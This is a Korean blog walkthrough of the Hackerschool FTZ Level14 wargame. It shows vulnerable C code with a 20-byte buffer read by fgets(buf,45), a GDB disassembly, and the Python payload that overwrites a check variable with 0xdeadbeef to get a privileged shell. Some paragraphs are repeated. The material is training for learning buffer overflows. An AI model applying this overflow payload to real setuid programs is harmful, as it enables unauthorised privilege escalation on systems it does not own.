해커스쿨(Hackerschool) FTZ Level14 문제풀이를 시작하겠습니다.
[level14@ftz level14]$ ls
attackme hint public_html tmp
역시나 공격파일과 힌트파일이 있습니다.
힌트파일을 열어보면 메세지와 공격파일의 소스가 있습니다.
역시나 공격파일과 힌트파일이 있습니다.
힌트파일을 열어보면 메세지와 공격파일의 소스가 있습니다.
[level14@ftz level14]$ cat hint
레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.
버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이
최고의 효과를 가져다줍니다.
#include <stdio.h>
#include <unistd.h>
main()
{ int crap;
int check;
char buf[20];
fgets(buf,45,stdin);
if (check==0xdeadbeef)
{
setreuid(3095,3095);
system("/bin/sh");
}
}
이번문제는 쉘코드를 덮어씌울필요없이 check 의 값만 맞춰주면 자동으로
권한이 상승됩니다. 먼저 GDB 로 보고 메모리 구조를 확인해봅시다.
메모리 구조
(낮은주소) [ BUF(20) + CHECK(4) + CRAP(4) (==> 56바이트) + SFP(4) + RET(4) ] (높은주소) <== 메모리 구조
-16 위치에서 Check 값을 검사하므로 -16 위치에 \xef\xbe\xad\xde 값을 넣어주면 됩니다.
대충 페이로드를 구성해보자면 NOP(40) + Check(4) + NOP(16) 으로 구성해주면 됩니다.
이번문제는 쉘코드를 덮어씌울필요없이 check 의 값만 맞춰주면 자동으로
권한이 상승됩니다. 먼저 GDB 로 보고 메모리 구조를 확인해봅시다.
(gdb) disas main
Dump of assembler code for function main:
0x08048490 <main+0>: push %ebp
0x08048491 <main+1>: mov %esp,%ebp
0x08048493 <main+3>: sub $0x38,%esp ==> 크기 56바이트 유추
0x08048496 <main+6>: sub $0x4,%esp
0x08048499 <main+9>: pushl 0x8049664
0x0804849f <main+15>: push $0x2d
0x080484a1 <main+17>: lea 0xffffffc8(%ebp),%eax
0x080484a4 <main+20>: push %eax
0x080484a5 <main+21>: call 0x8048360 <fgets>
0x080484aa <main+26>: add $0x10,%esp
0x080484ad <main+29>: cmpl $0xdeadbeef,0xfffffff0(%ebp) ==> -16 위치에서 검사, 즉 40바이트 위치에서 검사
0x080484b4 <main+36>: jne 0x80484db <main+75>
0x080484b6 <main+38>: sub $0x8,%esp
0x080484b9 <main+41>: push $0xc17
0x080484be <main+46>: push $0xc17
0x080484c3 <main+51>: call 0x8048380 <setreuid>
0x080484c8 <main+56>: add $0x10,%esp
0x080484cb <main+59>: sub $0xc,%esp
0x080484ce <main+62>: push $0x8048548
0x080484d3 <main+67>: call 0x8048340 <system>
0x080484d8 <main+72>: add $0x10,%esp
0x080484db <main+75>: leave
0x080484dc <main+76>: ret
0x080484dd <main+77>: lea 0x0(%esi),%esi
End of assembler dump.
메모리 구조
(낮은주소) [ BUF(20) + CHECK(4) + CRAP(4) (==> 56바이트) + SFP(4) + RET(4) ] (높은주소) <== 메모리 구조
-16 위치에서 Check 값을 검사하므로 -16 위치에 \xef\xbe\xad\xde 값을 넣어주면 됩니다.
대충 페이로드를 구성해보자면 NOP(40) + Check(4) + NOP(16) 으로 구성해주면 됩니다.
[level14@ftz level14]$ (python -c 'print "\x90"*40 + "\xef\xbe\xad\xde" + "\x90"*16';cat)|./attackme
my-pass
Level15 Password is " ".
수고하셨습니다.
수고하셨습니다.
'hackerschool ftz' 카테고리의 다른 글
해커스쿨 프리해킹존, FTZ 문제풀이 강의 재게 (0) | 2011.07.21 |
---|---|
해커스쿨(Hackerschool) FTZ Level15 문제풀이 (0) | 2011.05.10 |
해커스쿨(Hackerschool) FTZ Level13 문제풀이 (1) | 2011.04.17 |
해커스쿨(Hackerschool) FTZ Level12 문제풀이 (0) | 2011.04.13 |
해커스쿨(HackerSchool) FTZ Level11 문제풀이 (0) | 2011.04.10 |